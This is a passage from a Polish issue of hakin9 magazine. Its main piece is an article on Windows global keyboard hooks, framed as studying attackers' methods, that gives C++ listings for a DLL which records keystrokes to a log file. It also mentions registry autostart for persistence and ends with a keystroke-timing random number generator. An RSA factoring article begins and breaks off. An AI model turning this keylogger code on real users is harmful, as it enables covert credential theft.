bezpieczenstwo/).

Artykuły edukacyjne oraz porusza-

jące najnowsze zagadnienia związane 
z podobną problematyką zamieszcza-
ne są w kolejnych numerach mBanko-
wego biuletynu "Bezpieczeństwo" (http:

//www.mbank.com.pl/przewodnik/

bezpieczenstwo/biuletyn.html).

Informacje dodatkowe

Magdalena Ossowska, Rzecznik praso-
wy mBanku, tel: 042 638 17 22, e-mail: 
magdalena.ossowska@mbank.pl

Stanowisko mBanku

R

E

K

L

A

M

A

background image

Media Systems

Firma Media Systems oferuje Państwu 

profesjonalny system CashBill.pl, 

umożliwiający  zarządzanie  usługami 

SMS  Premium  Rate  w  sektorze  B2B  i 

B2C.

Oferujemy  również  szeroki  wachlarz 

usług mikropłatniczych, płatności 

elektronicznych oraz indywidualne, de-

dykowane rozwiązania przy budowie 

aplikacji mobilnych. 

TTS Company Sp. z o.o.

Oprogramowanie 

komputerowe - 

sprzedaż, dystrybucja  oraz import na 

zamówienie.  W  ofercie  programy  au-

torstwa ponad stu firm z całego świa-

ta. Zapraszamy do współpracy - zostań 

naszym klientem lub dostawcą. 

www.OprogramowanieKompute-

rowe.pl

Zepter IT

Zepter  IT  to  dynamicznie  rozwijająca 

się firma, specjalizująca się w realiza-

cji projektów informatycznych.

Oferujemy  rozwiązania  dla  biznesu  i 

zarządzania  takie  jak  systemy  ERP 

czyli zarządzanie zasobami firmy, pod-

noszenie jakości i obniżanie kosztów.

Zepter  IT  świadczy  również  usługi  in-

ternetowe - serwisy www, e-commerce, 

tworzenie  aplikacji  internetowych  oraz 

systemów zarządzania treścią. 

www.zepterit.com

Pr

en

um

er

at

PR

O

Prenumerata PRO

ko

nt

ak

t d

na

s:

 

m

ar

ty

na

.z

ac

ze

k@

so

fta

w

re

.c

om

.p

l

ka

ta

rz

yn

a.

ju

sz

cz

yn

sk

a@

so

fta

w

re

.c

om

.p

l

te

l. 

: 2

88

13

 4

5

background image

www.hakin9.org

hakin9 Nr 4/2007

20

Atak

J

ak  działają  programy  przechwytujące  i 
zapisujące  wszystkie  naciśnięte  przez 
użytkowników  komputera  klawisze?  W 

systemie  Windows  ich  zadaniem  jest  zazwy-
czaj  monitorowanie  komunikatów  związanych 
z klawiaturą. Co to znaczy? Komunikaty (ang. 

windows messages) tworzą niejako układ ner-
wowy systemu Windows, łączący go  z urucho-
mionymi w nim aplikacjami. To właśnie komu-
nikaty przekazują aplikacjom informacje o tym, 
że została ona kliknięta myszką lub naciśnięty 
został jakiś klawisz, przez co od aplikacji ocze-
kiwana jest w związku z tym jakaś reakcja. To, 
co jest dla nas naturalne, np. kliknięcie przyci-
sku widocznego na oknie aplikacji i co użytkow-
nikowi komputera wydaje się odbywać jedynie 
w kontekście samej aplikacji, w istocie angażu-
je system Windows – w końcu myszka i klawia-
tura nie są podłączone do aplikacji, a do kom-
putera zarządzanego przez Windows, to Win-
dows właśnie, a nie sama aplikacja, może od-
czytać  stan  tych  urządzeń.  Aplikacja  odcięta 
od  strumienia  komunikatów  staje  się  głucha  i 
niema (aby taki stan uzyskać wystarczy nadpi-
sać metodę 

WndProc

 okna aplikacji, nie wywołu-

jąc z niej metody nadpisywanej, i pozostawia-
jąc ją zupełnie pustą). W szczególności aplika-

cja  przestaje  zaś  reagować  na  polecenia  od-
świeżenia  okna,  co  objawia  się  charaktery-
styczną „białą plamą” w miejscu jej interfejsu.

A  w  jaki  sposób  możliwe  jest  monitorowa-

nie przepływu komunikatów? System Windows 
udostępnia mechanizm haków (ang. hooks). Po-
zwala on skojarzyć określony w haku typ komu-
nikatów ze zdefiniowaną przez użytkownika me-
todą. Haki mogą być ustawiane bądź w kontek-
ście  konkretnej  aplikacji,  konkretnego  wątku, 

Hak na Windows

Jacek Matulewski

stopień trudności

Imię domowego zwierzaka i bieżący rok to najczęściej 

wykorzystywany schemat haseł. Jednak, gdy hasło jest tak silne, 

że nie można go wykryć typowymi metodami, istnieje groźba, 

że zostanie ono podsłuchane. Nie chodzi o przysłuchiwanie się 

osobom mamroczącym podczas pisania, lecz o podsłuchiwanie 

klawiatury przez programy uruchomione w Windows.

Z artykułu dowiesz się...

•   w jaki sposób korzystać z mechanizmu haków 

systemu Microsoft Windows, w szczególności w 
jaki sposób wykorzystać go do podsłuchiwania 
klawiatury (np. w celu zdobycia loginów i haseł)

•   pomysł na generator liczb losowych oparty na 

monitorowaniu korzystania przez użytkownika 
z klawiatury.

Powinieneś wiedzieć...

•   wymagana jest ogólna orientacja w korzystaniu 

z funkcji WinAPI oraz umiejętność projektowa-
nia bibliotek DLL.

background image

Hak na Windows

hakin9 Nr 4/2007

www.hakin9.org

21

bądź  globalnie.  W  tym  drugim  przy-
padku  funkcja  wykonywana  będzie 
po wykryciu każdego komunikatu mo-
nitorowanego typu w całej sieci ner-

wowej systemu i tylko ten rodzaj ha-
ka będzie nas teraz interesować. Ha-
ki globalne (ang. global hooks), a do-

kładniej ich funkcje zahaczone (ang. 

hook procedure; nie znajduję lepsze-
go  tłumaczenia)  muszą  być  umiesz-
czone  w  bibliotece  DLL,  która  bę-
dzie  ładowana  do  przestrzeni  adre-
sowej każdej aplikacji, która otrzyma 
monitorowany typ komunikatu. W ten 
sposób dowolna aplikacja będzie mo-
gła  uruchomić  przygotowaną  przez 
nas funkcję. To wszystko brzmi może 
dość zawile, ale w praktyce nie okaże 
się bardzo trudne do realizacji. Wyda-
je  mi  się,  że  nawet  niezbyt  zaawan-
sowany  programista  znający  choćby 
pobieżnie  bibliotekę  WinAPI  i  mają-
cy  doświadczenie  z  tworzeniem  bi-
bliotek  DLL  powinien  sobie  z  haka-
mi poradzić.

Stawianie 

haków w praktyce

Najlepiej poznać wroga studiując je-
go  metody.  Dlatego  przygotujemy 
prosty  program  podsłuchujący  na-
ciśnięte klawisze. Program napisze-
my w C++Builderze 6 (ze względu na 
darmową wersję Personal dostępną 
na  stronie  http://www.borland.pl/

download/personal.shtml),  ale  naj-
ważniejsze  fragmenty  kodu  można 
bez  trudu  przenieść  do  Visual  C++ 
2005 lub do innego środowiska pro-
gramistycznego,  nie  tylko  dla  C++. 
W szczególności osoby programują-
ce w Delphi z łatwością mogą prze-
tłumaczyć  poniższe  przykłady  na 

Object Pascal. To samo dotyczy Vi-

sual Basica.

Zacznijmy  od  biblioteki  DLL  za-

wierającej  funkcję  zahaczoną.  Dla 
wygody do tej samej biblioteki doda-
my także funkcje ustawiające i usu-
wające  hak.  W  środowisku  C++Bu-

ilder,  z  menu  File/New/Other...  wy-
bieramy pozycję DLL Wizard i klika-
my OK. Pojawi się okno widoczne na 
Rysunku  1.  Zgodnie  ze  wzorem  na 
rysunku należy ustawić widoczne na 
nim opcje. Stworzymy w ten sposób 
prosty moduł bez pliku nagłówkowe-
go,  w  którym  poza  sporej  wielkości 
komentarzy jest tylko funkcja DllMa-

in.  Zapiszmy  cały  projekt  używając 
np. nazwy KeyHook dla pliku projek-
tu (tj. pliku z rozszerzeniem .bpr).

Zacznijmy od zapisania uchwytu 

do bieżącej biblioteki DLL w zmien-
nej globalnej handleDLL. Uchwyt ten 
można odczytać ze zmiennej global-
nej  HInstance  zdefiniowanej  w  mo-
dule SysInit (aby była dostępna na-
leży  zaimportować  nagłówek  Sy-

sInit.hpp),  ale  jest  to  rozwiązanie 
charakterystyczne  dla  C++Buildera. 
Dlatego  my  odczytamy  go  z  pierw-
szego argumentu funkcji DllMain. W 
tym  celu  modyfikujemy  tę  funkcję, 
jak na Listingu 1.

Następnie przejdźmy do zdefinio-

wania  funkcji  SetHook,  której  zada-
niem, jak wskazuje jej nazwa, będzie 
ustawienie  haka.  I  tu  ważna  uwaga. 
Nie należy jej wywołania umieszczać 
w funkcji DllMain, co może wydawać 
się  dobrym  rozwiązaniem  automaty-
zującym zakładanie haka. To jest złe 
miejsce,  bo  biblioteka  DLL  zawierać 
będzie  także  funkcję  zahaczoną,  co 
oznacza,  że  biblioteka  będzie  łado-
wana  do  przestrzeni  adresowej  każ-
dej aplikacji, która otrzyma komunikat 
związany z naciśnięciem klawiszy. Za 
każdym  razem  wywoływana  będzie 
oczywiście jej funkcja DllMain.

Ustawienie haka realizowane jest 

przez  wywołanie  funkcji  WinAPI  Se-

Komunikacja między 

aplikacjami a systemem 

Windows

Do  komunikacji  między  systemem,  a 
aplikacją używa się funkcji także zwrot-
nych,  czyli  funkcji  udostępnianych 
przez aplikacje lub biblioteki DLL, któ-
rych nazwa i sygnatura są z góry okre-
ślone i które wywoływane są przez sys-
tem  w  ściśle  określonych  sytuacjach. 
Takimi  funkcjami  są  np.  WinMain  lub 
DllMain  (ewentualnie  DllEntryPoint) 
uruchamiane w momencie uruchomie-
nia aplikacji lub załadowania biblioteki 
DLL do pamięci. Do komunikacji inicjo-
wanej  przez  system  są  one  używane 
jednak  stosunkowo  rzadko.  Natomiast 
do komunikacji w odwrotnym kierunku, 
tj. gdy jest ona inicjowana przez aplika-
cję,  korzystanie  z  funkcji  udostępnia-
nych  przez  systemowe  biblioteki  DLL 
jest standardem. System udostępnia w 
ten sposób ogromny zbiór funkcji, które 
tworzą WinAPI tj. interfejs programisty 
aplikacji Windows.

W sieci

•   http://www.borland.pl/download/

personal.shtml  –  lista  darmowych 
wersji narzędzi deweloperskich fir-
my Borland

•   ht tp: / / msdn2.microsof t.com 

– dokumentacja WinAPI i platformy 
.NET. Warto zacząć od wpisania w 
polu search hasła hooks. 

Dokumentacja  funkcji  zwrotnej  Keybo-
ardProc  dostępna  jest  w  MSDN  pod 
adresem:

•   http://msdn.microsoft.com/library/ 

en-us/winui/winui/windowsus
erinterfacewindowing/hooks/
hookreference/hookfunctions/
keyboardproc.asp. Tę samą stronę 
zobaczymy wpisując w Google ha-
sła KeyboardProc MSDN i klikając 
pierwszy link.

Rysunek 1. 

Ustawienia w kreatorze biblioteki DLL

background image

hakin9 Nr 4/2007

www.hakin9.org

Atak

22

tWindowsHookEx,  której  pierwszym 
argumentem  jest  stała  identyfikująca 
typ  interesujących  nas  komunikatów, 
w  naszym  przypadku  będzie  to  sta-
ła 

WH _ KEYBOARD

, drugim jest wskaźnik 

do  funkcji  zahaczonej,  którą  będzie-
my  musieli  jeszcze  zdefiniować,  na-
tomiast trzeci wskazuje uchwyt biblio-
teki,  w  której  funkcja  zahaczona  jest 
umieszczona.  W  naszym  przypad-
ku, w którym funkcja ustawiająca hak 
i funkcja zahaczona są w tej samej bi-
bliotece  umieścimy  w  trzecim  argu-
mencie uchwyt do bieżącej biblioteki.

Na Listingu 2. widzimy, że zade-

klarowana została zmienna globalna 
o nazwie 

handleHook

, do której w me-

todzie  SetHook  zapisaliśmy  uchwyt 
ustawionego  haka.  Po  wywołaniu 
funkcji SetWindowsHookEx informu-
jemy użytkownika o powodzeniu lub 
niepowodzeniu ustawienia haka. Ja-
ko  drugi  argument  funkcji  SetWin-

dowsHookEx  podaliśmy  wskaźnik 
do funkcji KeyboardHookProc. Szko-
puł w tym, że ona jeszcze nie istnie-
je. Ale nie wszystko na raz.

Dla porządku zdefiniujmy od razu 

funkcję usuwającą hak, przedstawio-
ną na Listingu 3.

Podobnie,  jak  w  przypadku  po-

przedniej  funkcji,  także  tu  napraw-
dę  ważna  jest  tylko  pierwsza  linia, 
w której wywołujemy funkcję WinAPI 

UnhookWindowsHookEx.  Pozosta-
łe dwie służą do wyświetlania komu-
nikatu o powodzeniu operacji. Funk-
cja  UnhookWindowsHookEx  usu-
wa hak identyfikowany na podstawie 
uchwytu, który zapisaliśmy w zmien-
nej handleHook.

Obie  funkcje  należy  wyekspor-

tować  z  biblioteki  DLL.  W  tym  ce-
lu  do  ich  sygnatur,  przed  wska-
zaniem  zwracanego  typu  doda-
liśmy  modyfikatory

 

extern 

"C" 

_ _ declspec

(dllexport).

Funkcja zahaczona

Wreszcie możemy przejść do zdefinio-
wania funkcji zahaczonej (zdecydowa-
liśmy już, że będzie nazywała się Key-

boardHookProc), która będzie wywo-
ływana, kiedy tylko dotkniemy klawia-
tury. Jej sygnatura jest ściśle określo-
na  w  dokumentacji  WinAPI  (zobacz 
ramka W sieci). Przyjmuje trzy argu-

menty: codewParam i lParam. Pierw-
szy  z  nich  informuje  o  tym,  co  funk-
cja zahaczona powinna zrobić z prze-
chwyconym  komunikatem.  Jeżeli  jej 
wartość jest mniejsza od zera, komu-
nikat  powinien  zostać  zignorowany. 
Możliwe wartości nieujemne to 0 (sta-
ła 

HC _ ACTION

) lub 3 (

HC _ NOREMOVE)

. In-

formują  o  wykryciu  komunikatu  (po-
równaj opis komunikatów i w MSDN), 
a różnią się tym, że w drugim przypad-
ku komunikat nie został jeszcze zdję-
ty z kolejki komunikatów. W przypadku 
komunikatów związanych z klawiaturą 

wartość code jest niemal zawsze rów-
na 0. Wyjątkiem jest na przykład Mi-
crosoft Word, który w bardziej złożo-
ny sposób obsługuje komunikaty kla-
wiaturowe.  Pozostałe  dwa  argumen-
ty  funkcji  zahaczonej  przekazują  da-
ne  komunikatu.  Parametr  wParam  to 
kod znaku naciśniętego klawisza, a w 
bitach lParam umieszczone są dodat-
kowe informacje o kontekście, w jakim 
naciśnięty  został  klawisz.  Szczegóły 
omówię poniżej.

Funkcja zahaczona będzie wywo-

ływana z poziomu aplikacji, do której 

Listing 1. 

Inicjacja biblioteki DLL

HINSTANCE

 

handleDLL

=

NULL

;

#pragma argsused

BOOL

 

WINAPI

 

DllMain

(

HINSTANCE

 

hinstDLL

DWORD

 

fwdreason

LPVOID

 

lpvReserved

)

{

if

 

(

fwdreason

==

DLL_PROCESS_ATTACH

)

 

handleDLL

=

hinstDLL

;

return

 

1

;

}

Listing 2. 

Ustawianie haka klawiaturowego

#include 

<SysInit.hpp>

HHOOK

 

handleHook

=

NULL

;

extern

 

"C"

 

__declspec

(

dllexport

)

 

void

 

__stdcall

 

SetHook

(

void

)

{

    

handleHook

=

SetWindowsHookEx

(

WH_KEYBOARD

,

(

HOOKPROC

)

KeyboardHookProc

,

HInst

ance

,

NULL

);

    

if

 

(

handleHook

 

==

NULL

)

 

MessageBox

(

NULL

,

"Założenie haka nie powiodło 

się"

,

"KeyHook"

,

MB_OK

 

|

 

MB_ICONERROR

);

    

else

 

Message

Box

(

NULL

,

"Założenie haka udało się"

,

"KeyHook"

,

MB_OK

 

|

 

MB_ICONINFORMATION

);

}

Rysunek 2. 

Przykładowy plik generowany w trakcie podsłuchiwania 

klawiatury

background image
background image

hakin9 Nr 4/2007

www.hakin9.org

Atak

24

ładowana  będzie  nasza  biblioteka, 
dlatego  musi  być  wyeksportowana 
(stąd modyfikatory w jej sygnaturze). 
Aby  uniknąć  dodatkowego  jej  dekla-
rowania funkcję zahaczoną proponu-
ję wstawić przed funkcję SetHook.

W  momencie  naciśnięcia  klawi-

sza  na  klawiaturze  system  generuje 
dwa  komunikaty.  Pierwszy,  gdy  kla-
wisz  zostanie  wciśnięty,  drugi  –  gdy 
jest  zwalniany.  Widoczny  w  funkcji 
warunek  sprawdzający  wartość  31-
go bitu parametru lParam powoduje, 
że  w  obu  przypadkach  generowany 
jest inny dźwięk (służy do tego funk-
cja  WinAPI  Beep):  wyższy,  gdy  kla-
wisz jest naciskany, i niższy, gdy jest 
zwalniany.  Po  zareagowaniu  na  wy-
krycie komunikatu należy jeszcze wy-
wołać funkcję CallNextHookEx, która 
powoduje wywołanie następnej funk-
cji  zahaczonej  związanej  z  tym  sa-
mym  typem  komunikatów.  Dzięki  te-
mu  są  one  organizowane  w  swoiste 
łańcuchy, z których system wywołuje 
pierwszy element, a funkcje zahaczo-
ne dbają o wywołanie następnych.

Na  razie  funkcja  nie  zapisuje 

jeszcze  kodów  naciśniętych  klawi-
szy, a jedynie uroczo sobie pobrzę-
kuje.  To  pozwoli  nam  jednak  upew-
nić się, że jest ona rzeczywiście wy-
konywana. Warto również dodać do 

DllMain polecenia pokazujące komu-
nikaty informujące o załadowaniu bi-
blioteki  do  pamięci  i  jej  usunięciu. 
Dzięki temu będziemy mogli na wła-
sne oczy przekonać się, że bibliote-
ka jest ładowana do przestrzeni ad-
resowej każdej aplikacji, która otrzy-
ma komunikat o naciśnięciu klawisza 
(tzn. która będzie aktywna, gdy bę-
dziemy stukać w klawiaturę).

Aby przetestować działanie naszego
haka bez pisania osobnej aplikacji
możemy użyć następującej komendy
Windows:
rundll32 KeyHook,SetHook.

Po  pojawieniu  się  komunikatu  Za-

łożenie  haka  udało  się  nie  klikaj-
my OK, aby uniknąć usunięcia pier-
wotnej instancji biblioteki DLL z pa-
mięci  i  tym  samym  usunięcia  haka. 
Wówczas  naciskając  klawisze  po-
winniśmy  usłyszeć  charakterystycz-

ne  brzęczenie  –  znak,  że  nasz  hak 
działa. Zauważmy, że wykrywane są 
osobno  naciśnięcia  wszystkich  kla-
wiszy,  w  tym  klawiszy  funkcyjnych 
oraz klawiszy Ctrl, Shift i Alt.

W  dołączonym  do  artykułu  ko-

dzie  umieściłem  projekt  aplikacji, 
która pozwala na wygodniejszą kon-
trolę ładowania biblioteki oraz zakła-
dania i zwalniania haka.

Podsłuchiwanie 

klawiatury

Teraz dopiero zrobimy się niegrzecz-
ni.  Zmodyfikujemy  bowiem  funkcję 
zahaczoną tak, żeby zapisywała do 
pliku naciśnięte klawisze. Nie będzie 
z  tym  żadnego  kłopotu,  bo  jak  już 
wiemy,  informacja  ta  przekazywa-

na jest do funkcji w parametrze wPa-

ram. Wystarczy zapisać ją do pliku. 
Najprostsza realizacja tego pomysłu 
ukazana została na Litingu 5.

Zwróćmy uwagę, że przechwyty-

wany komunikat nie przekazuje infor-
macji o tym, czy na monitorze poja-
wiła się mała, czy duża litera (ewen-
tualnie czy pojawiła się cyfra, czy je-
den ze znaków !, @, # itd.) Komunikat 
przekazuje  tylko  taką  informację,  ja-
ka jest odbierana od klawiatury. Naci-
śnięcie klawiszy Shift i Caps Lock jest 
sygnalizowane  osobnymi  komunika-
tami  i  w  funkcji  zahaczonej  ich  na-
ciśnięcie  i  zwolnienie  trzeba  śledzić 
samodzielnie. Podobnie jest z klawi-
szem  Ctrl.  Natomiast  w  parametrze 

lParam  przekazywana jest informa-

Listing 4. 

Zdejmowanie haka klawiaturowego, lang=C++

extern

 

"C"

 

__declspec

(

dllexport

)

 

void

 

__stdcall

 

RemoveHook

(

void

)

{

bool

 

result

=

UnhookWindowsHookEx

(

handleHook

);

if

 

(

result

)

 

MessageBox

(

NULL

,

"Usunięcie haka udało się"

"KeyHook"

MB_OK

 

|

 

MB_ICONINFORMATION

);

else

 

MessageBox

(

NULL

,

"Usunięcie haka nie powiodło się"

"KeyHook"

MB_OK

 

|

 

MB_ICONERROR

);

}

Listing 3. 

Funkcja uruchamiana w momencie wykrycia komunikatu 

klawiaturowego

extern

 

"C"

 

__declspec

(

dllexport

)

LRESULT

 

CALLBACK

 

KeyboardHookProc

(

int

 

code

,

WPARAM

 

wParam

,

LPARAM

 

lParam

)

{

if

 

(

code

>=

HC_ACTION

)

{

if

((

lParam

 

&

 

0x80000000

)==

0

)

 

Beep

(

150

,

50

);

else

 

Beep

(

50

,

50

);

}

return

 

CallNextHookEx

(

handleHook

,

code

,

wParam

,

lParam

);

}

Rysunek 3. 

Gdy na ekranie pojawi się ten komunikat nie klikajmy OK. 

Wówczas usłyszymy działanie haka.

background image

Hak na Windows

hakin9 Nr 4/2007

www.hakin9.org

25

cja  o  naciśnięciu  klawisza  Alt,  którą 
można odczytać z 29-go bita.

Oczywiście prowadzenie prawdzi-

wego  podsłuchu  wymagałoby  zare-
jestrowania  dodatkowych  informacji. 
Warto zapisać czas naciśnięcia klawi-
sza (w poniższej metodzie korzystam 
z funkcji WinAPI GetTickCount zwra-
cającej  ilość  milisekund  od  momentu 
uruchomienia komputera), oczywiście 
kod  klawisza,  informację  o  tym,  czy 
klawisz  był  naciśnięty,  czy  zwolnio-
ny oraz stan bitów parametru lParam
Realizuje to wersja funkcji zahaczonej 
znajdująca się na Listingu 6.

W  dołączonym  do  artykułu  ko-

dzie dostępna jest nieco rozszerzo-
na  wersja  metody  KeyboardHook-

Proc, która na bieżąco wyświetla do-
datkowe informacje na ekranie.

Jak  widać  ustawianie  globalne-

go  haka  nie  jest  specjalnie  trudne. 
Moc tego mechanizmu jest przy tym 
ogromna.  Pozwala  on  aplikacjom 

trzecim  na  monitorowanie  i  kontrolę 
komunikacji między systemem, a uru-
chomionymi w nim aplikacjami. Dzia-
łanie haka jest wprawdzie ograniczo-
ne  do  jednego  użytkownika,  ale  wy-
starczy  umieścić  odpowiedni  wpis  w 
rejestrze,  aby  aplikacja  zakładająca 
hak uruchamiana była przy logowaniu 
każdego  użytkownika.  Jeszcze  wy-
godniejsze, i dające dodatkowe moż-
liwości,  byłoby  przygotowanie  usługi 
uruchamianej przy starcie systemu.

Haki nie służą 

tylko do hackowania

Mechanizm haków nie został oczywi-
ście  zaprojektowany  przez  programi-
stów  Microsoft  po  to,  żeby  możliwe 
było  szpiegowanie  komputerów  kon-
trolowanych  przez  system  Windows. 
Ich zadania mogą być bardzo różno-
rodne:  od  przygotowywania  aplikacji 
instruktażowych,  w  których  czynno-
ści  użytkownika  mogą  być  śledzone 
przez program-nauczyciel, po progra-
mowanie  debugerów  zintegrowanych 
ze  środowiskami  programistycznymi. 
Nawet  przygotowane  przez  nas  na 
początku  sygnalizowanie  naciśnięcia 
klawisza dźwiękiem, to dobry przykład 
praktycznego wykorzystania haka. Ta-
kie potwierdzenie naciśnięcia klawisza 
może być bardzo pożyteczne choćby 

w przypadku osób niepełnosprawnych 
korzystających z komputera.

Natomiast  osoby  zajmujące  się 

bezpieczeństwem komputerów mogą 
zainteresować  się  innym  zastosowa-
niem haka klawiaturowego. Z punktu 
widzenia kryptografii nieocenione by-
łoby dostępne w systemach kompute-
rowych  źródło  prawdziwych  liczb  lo-
sowych.  Ponieważ  jedynym  kompo-
nentem tych systemów, który nie jest 
w  pełni  deterministyczny,  jest  czło-
wiek.  Tylko  użytkownicy  komputerów 
mogą stanowić źródło przypadkowo-
ści. Skupmy się na jednym z kanałów, 
którym  użytkownik  ingeruje  w  pracę 
systemu,  a  mianowicie  na  klawiatu-
rze. A gdybyśmy za pomocą naszego 

haka  monitorowali  naciskanie  klawi-
szy, oczywiście nie wybierane klawi-
sze, ale czas ich naciskania lub zwal-
niania? W końcu żaden człowiek nie 
jest w stanie kontrolować co do mili-
sekundy momentu, w którym naciska 
klawisze. Możemy więc uznać, ostat-
nią cyfrę ilości milisekund od urucho-
mienia komputera do momentu naci-
śnięcia  klawisza  jako  zupełnie  przy-
padkową.  I  to  nie  pseudolosową,  a 
rzeczywiście  losową.  Co  zabawne 
nie  musimy  wiele  modyfikować  na-
szej  funkcji  zahaczonej.  Wystarczy 
zmienić  parametr  zapisywany  do  pli-
ku. Prezentuje to Listing 7.

Tym razem reagujemy tylko na te 

komunikaty, w przypadku których pa-

Listing 5. 

W tej wersji rejestrowane są tylko naciśnięte klawisze, żadne 

informacje dodatkowe. Ułatwia to odczytanie tekstu z pliku, ale utrudnia 

śledzenie modyfikatorów

#include 

<fstream.h>

extern

 

"C"

 

__declspec

(

dllexport

)

LRESULT

 

CALLBACK

 

KeyboardHookProc

(

int

 

code

,

WPARAM

 

wParam

,

LPARAM

 

lParam

)

{

if

 

(

code

>=

HC_ACTION

)

{

if

((

lParam

 

&

 

0x80000000

)==

0

)

{

ofstream

 

txt

(

"C:

\\

keybug.log"

,

ios

::

app

);

if

 

(

wParam

>

32

 

&&

 

wParam

<

127

)

 

txt

 

<<

 

(

char

)

wParam

;

else

 

txt

 

<<

 

"["

 

<<

 

wParam

 

<<

 

"]"

;

txt

.

close

();

}
}

return

 

CallNextHookEx

(

handleHook

,

code

,

wParam

,

lParam

);

}

Rysunek 4. 

Ilość losowych cyfr wygenerowanych przez powyższy program 

zależy od stopnia użycia klawiatury

background image

hakin9 Nr 4/2007

www.hakin9.org

Atak

26

rametr code jest równy HC_ACTION
Unikamy  w  ten  sposób  zapisywania 
liczby  losowej  w przypadku,  gdy  ko-
munikat  nie  został  zdjęty  z  kolejki  –
wywołanie  funkcji  jest  wówczas  po-
wtórnie generowane przez komputer 
po stałym czasie (z taką sytuacją ma-
my do czynienia na przykład w przy-
padku niektórych aplikacji np. kompo-
nentów Microsoft Office).

Powyższa  funkcja  spowoduje,  że 

w  pliku  random.txt  przyrastać  będzie 
zbiór  losowych  cyfr,  za  pomocą  któ-
rego  można  utworzyć  losowe  liczby. 

W przypadku pojedynczego użytkow-
nika, szczególnie preferującego mysz-
kę, zbiór nie będzie rósł na tyle szyb-
ko, aby mógł być profesjonalnie wyko-
rzystany,    jeżeli  jednak  hak  ustawia-
ny  będzie  automatycznie  po  zalogo-
waniu  każdego  użytkownika  w  ser-
werze, a dodatkowo monitorować bę-
dziemy także inne kanały komunikacji 
między użytkownikiem a komputerem, 
w szczególności ruch myszki, to efekt 
może być całkiem zadowalający.

Na  CD  dołączonym  do  tego  nu-

meru jest wersja kodu, która nie tylko 
zapisuje, ale również odczytuje cyfry 
z pliku. Realizuje to klasa QueueFile
która  usuwa  raz  użyte  cyfry.  Ponad-
to dostępna jest tam funkcja, która z 
dziesięciu  cyfr  tworzy  32-bitową  do-
datnią liczbę całkowitą (unsigned int).

Wspominając  o  możliwościach 

profesjonalnego  wykorzystania  mu-
szę zastrzec, że powyższe rozwiąza-
nie, choć wygląda na takie, które mu-

si działać powinno być uważnie prze-
testowane. Można to jednak zrobić do-
piero mając ogromny magazyn liczb lo-
sowych. Do testów należy użyć jedne-
go z testerów generatorów liczb pseu-
dolosowych. Ustaloną renomę ma na 
przykład Diehard Battery of Tests (http:

//www.stat.fsu.edu/pub/diehard/).  Je-
go autor przetestował, poza dużą licz-
bą generatorów liczb pseudolosowych, 
także kilka generatorów liczb losowych 
korzystających z urządzeń fizycznych. 
Żaden  z  tych  ostatnich  nie  zaliczył 
sprawdzianu. Ciekaw jestem, czy nasz 

ludzki generator będzie w tym lepszy. 
O wynikach postaram się powiadomić 
jak tylko uzbieram wystarczającą ilość 
liczb. l

O autorze

Fizyk zajmujący się na co dzień optyką kwantową i układami nieuporządkowanymi 
na Wydziale Fizyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikołaja Ko-
pernika w Toruniu. 

Jego specjalnością są symulacje ewolucji układów kwantowych oddziaływują-

cych z silnym światłem lasera.

Od 1998 interesuje się programowaniem dla systemu Windows, w szczególno-

ści w środowisku Borland C++Builder. Ostatnio zainteresowany platformą .NET i ję-
zykiem C#. 

Wierny użytkownik kupionego w połowie lat osiemdziesiątych "komputera osobi-

stego" ZX Spectrum 48k.

Kontakt z autorem: jacek@fizyka.umk.pl

Listing 6. 

Zapisywanie całego kontekstu naciśniętego klawisza, 

lang=C++

extern

 

"C"

 

__declspec

(

dllexport

)

LRESULT

 

CALLBACK

 

KeyboardHookProc

 

(

int

 

code

,

WPARAM

 

wParam

,

LPARAM

 

lParam

)

{

if

 

(

code

>=

HC_ACTION

)

{

char

 

c

=

wParam

;

char

 

kod

[

3

];

 

itoa

(

c

,

kod

,

10

);

char

 

lParam_bits

[

32

];

 

itoa

(

lParam

,

lParam_bits

,

2

);

//zapis do pliku

ofstream

 

txt

(

"C:

\\

keybug.log"

,

ios

::

app

);

txt

 

<<

 

GetTickCount

()

 

<<

 

": "

;

if

 

(

wParam

>

32

 

&&

 

wParam

<

127

)

{

if

((

lParam

 

&

 

0x20000000

)==

0x20000000

)

 

txt

 

<<

 

"Alt+"

;

txt

 

<<

 

(

char

)

wParam

;

}

else

 

txt

 

<<

 

"["

 

<<

 

wParam

 

<<

 

"]"

;

txt

 

<<

 

" "

 

<<

 

(((

lParam

 

&

 

0x80000000

)==

0

)

?

"(wciśnięty)"

:

"(zwolniony)"

);

txt

 

<<

 

" ("

 

<<

 

wParam

 

<<

 

") "

 

<<

 

lParam_bits

 

<<

 

"

\n

"

;

txt

.

close

();

}

return

 

CallNextHookEx

(

handleHook

,

code

,

wParam

,

lParam

);

}

Listing 7. 

Prosty generator liczb losowych, lang=C++

extern

 

"C"

 

__declspec

(

dllexport

)

LRESULT

 

CALLBACK

 

KeyboardHookProc

 

(

int

 

code

,

WPARAM

 

wParam

,

LPARAM

 

lParam

)

{

if

 

(

code

==

HC_ACTION

)

{

if

((

lParam

 

&

 

0x80000000

)==

0

)

{

long

 

t

=

GetTickCount

();

short

 

digit

=

t

-

10

*(

t

/

10

);

ofstream

 

txt

(

"c:

\\

random.txt"

,

ios

::

app

);

txt

 

<<

 

digit

;

txt

.

close

();

}
{

return

 

CallNextHookEx

(

handleHook

,

code

,

wParam

,

lParam

);

}

background image
background image

www.hakin9.org

hakin9 Nr 4/2007

28

Atak

tym artykule zagłębimy się w sposób 
działania RSA i możliwości przepro-
wadzenia  ataków  faktoryzacyjnych 

na niego. Przedstawimy, jak klucze RSA i pro-
cedury ataku mogą zostać użyte do otrzyma-
nia klucza prywatnego za pomocą klucza pu-
blicznego.

Do pełnego zrozumienia artykułu niezbęd-

na  będzie  podstawowa  znajomość  programo-
wania w C oraz znajomość podstaw matema-
tyki. W tabeli referencji znajdziesz pomocny w 
zrozumieniu artykułu materiał.

Wszystkie  przykłady  zostały  stworzone  i 

przetestowane na systemie GNU/Linux.

Kryptografia 

klucza publicznego

W  przeciwieństwie  do  kryptografii  klucza  pry-
watnego,  gdzie  w  celu  zaszyfrowania  i  zde-
szyfrowania  wiadomości  używany  jest  poje-
dyńczy klucz, kryptografia klucza publicznego 
składa się z dwóch kluczy. Nazywane one są 
kluczem  prywatnym  i  publicznym.  Aby  zaszy-
frować wiadomość, użytkownik potrzebuje każ-
dego z nich. Podczas, gdy prywatny klucz musi 
być utajniony, publiczny jest dostępny dla każ-
dego, kto chce wysłać zaszyfrowane wiadomo-

ści  do  użytkownika.  Wiadomość  zakodowana 
kluczem publicznym może zostać rozkodowa-
